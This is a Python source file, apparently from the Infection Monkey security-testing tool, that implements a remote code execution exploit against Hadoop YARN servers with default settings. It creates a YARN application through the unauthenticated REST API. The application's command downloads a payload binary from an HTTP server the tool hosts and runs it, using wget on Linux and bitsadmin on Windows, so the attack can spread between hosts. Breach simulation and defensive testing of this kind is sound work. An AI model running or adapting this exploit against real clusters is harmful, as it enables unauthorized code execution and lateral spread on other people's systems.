monkey/infection_monkey/exploit/hadoop.py

117 lines
4.4 KiB
Python

"""
Remote code execution on HADOOP server with YARN and default settings
Implementation is based on code from https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
"""
import requests
import json
import random
import string
import logging
from exploit.web_rce import WebRCE
from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
import posixpath
from threading import Lock
from model import MONKEY_ARG
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
class HadoopExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
HADOOP_PORTS = [["8088", False]]
# We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes
# to download monkey at the same time
LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
"&& wget -O %(monkey_path)s %(http_path)s " \
"; chmod +x %(monkey_path)s " \
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \
" Update /download /priority high %(http_path)s %(monkey_path)s " \
"& %(monkey_path)s %(monkey_type)s %(parameters)s"
DOWNLOAD_TIMEOUT = 90
LOCK = Lock()
def __init__(self, host):
super(HadoopExploiter, self).__init__(host)
def exploit_host(self):
# Try to get exploitable url
exploitable_url = False
urls = WebRCE.build_potential_urls(self.host, self.HADOOP_PORTS)
for url in urls:
if self.try_exploit(url):
exploitable_url = url
break
if not exploitable_url:
LOG.info("No exploitable Hadoop server found")
return False
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Determine where to save monkey on the target
LOG.debug("Monkey path found")
path = WebRCE.get_monkey_dest_path(self._config, src_path)
# To avoid race conditions we pass a locked lock to http servers thread
self.LOCK.acquire()
# Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, self.LOCK)
self.LOCK.acquire()
# Build command to execute
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path)
if 'linux' in self.host.os['type']:
command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": http_path,
"monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
else:
command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": http_path,
"monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
if not path:
return False
if not self.exploit(exploitable_url, command):
return False
self.LOCK.release()
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
return True
def exploit(self, url, command):
# Get the newly created application id
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
resp = json.loads(resp.content)
app_id = resp['application-id']
# Create a random name for our application in YARN
rand_name = "".join([random.choice(string.ascii_lowercase) for _ in xrange(6)])
payload = {
"application-id": app_id,
"application-name": rand_name,
"am-container-spec": {
"commands": {
"command": command,
}
},
"application-type": "YARN"
}
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload)
if resp.status_code == 202:
return True
else:
return False
@staticmethod
def try_exploit(url):
# Get the newly created application id
try:
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
except requests.ConnectionError:
return False
if resp.status_code == 200:
return True
else:
return False